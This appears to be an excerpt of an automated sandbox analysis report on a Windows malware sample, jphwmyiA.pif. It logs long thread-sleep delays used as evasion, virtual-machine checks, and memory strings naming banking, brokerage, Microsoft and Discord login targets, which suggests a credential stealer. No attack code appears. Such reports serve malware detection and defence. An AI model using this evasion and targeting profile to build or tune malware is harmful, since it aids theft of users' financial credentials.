          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599640s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599530s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599422s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599312s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599202s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -599092s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598957s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598701s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598593s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598484s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598375s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598265s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598156s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -598046s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597936s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597828s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597718s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597608s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597500s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597390s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597280s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597172s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -597062s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596952s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596843s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596734s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596625s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596515s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596406s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596297s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596187s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -596078s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595968s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595858s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595750s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595640s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595531s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595422s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595312s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595202s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -595093s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -594984s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -594873s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -594765s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -594656s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -594542s >= -30000s
          Source: C:\Users\Public\Libraries\jphwmyiA.pif TID: 4500Thread sleep time: -594437s >= -30000s
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_028358B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,8_2_028358B4
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 600000Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599825Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599663Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599538Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599424Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599204Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598981Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598606Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598486Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598368Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598246Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598133Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598015Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597905Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597796Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597686Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597577Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597468Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597358Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597249Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597139Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597030Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596921Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596811Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596702Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596589Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596483Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596374Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596226Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596074Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595952Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595843Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595733Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595624Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595515Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595405Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595289Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595171Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595061Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594952Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594843Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594732Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594608Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594473Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594338Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594225Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594093Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593980Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593862Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593731Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593559Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593444Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593322Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593187Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 593058Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592945Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592835Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592666Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592531Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 592412Jump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 600000
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599890
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599781
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599672
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599562
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599453
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599343
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599228
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599109
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598997
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598875
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598753
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598625
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598516
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598391
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598281
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598171
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598062
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597952
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597843
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597734
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597624
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597514
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597379
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597123
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597015
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596906
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596797
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596687
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596578
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596468
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596358
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596250
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596140
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596031
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595922
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595812
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595703
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595593
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595484
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595374
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595265
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595156
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595042
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594922
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594812
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594703
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594594
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594484
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594372
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 922337203685477
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 600000
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599874
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599750
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599640
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599530
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599422
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599312
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599202
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 599092
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598957
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598701
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598593
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598484
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598375
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598265
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598156
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 598046
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597936
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597828
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597718
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597608
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597500
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597390
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597280
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597172
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 597062
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596952
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596843
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596734
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596625
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596515
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596406
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596297
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596187
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 596078
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595968
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595858
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595750
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595640
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595531
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595422
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595312
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595202
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 595093
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594984
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594873
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594765
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594656
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594542
          Source: C:\Users\Public\Libraries\jphwmyiA.pifThread delayed: delay time: 594437
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696428655
          Source: brightness.exe, 00000008.00000002.2212129795.000000000080E000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000008.00000002.2212129795.0000000000839000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: jphwmyiA.pif, 00000010.00000002.3441687082.000000001882F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
          Source: jphwmyiA.pif, 0000000C.00000002.3441525726.00000000244F4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:vL@$
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696428655o
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696428655t
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696428655x
          Source: Aiymwhpj.PIF, 0000000D.00000002.2327294741.000000000069A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696428655f
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696428655t
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696428655t
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696428655j
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696428655t
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
          Source: Aiymwhpj.PIF, 00000011.00000002.2402743581.0000000000854000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3435358423.0000000028498000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696428655s
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696428655f
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696428655
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696428655s
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B77B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696428655o
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696428655j
          Source: jphwmyiA.pif, 00000014.00000002.3446220044.000000002B720000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
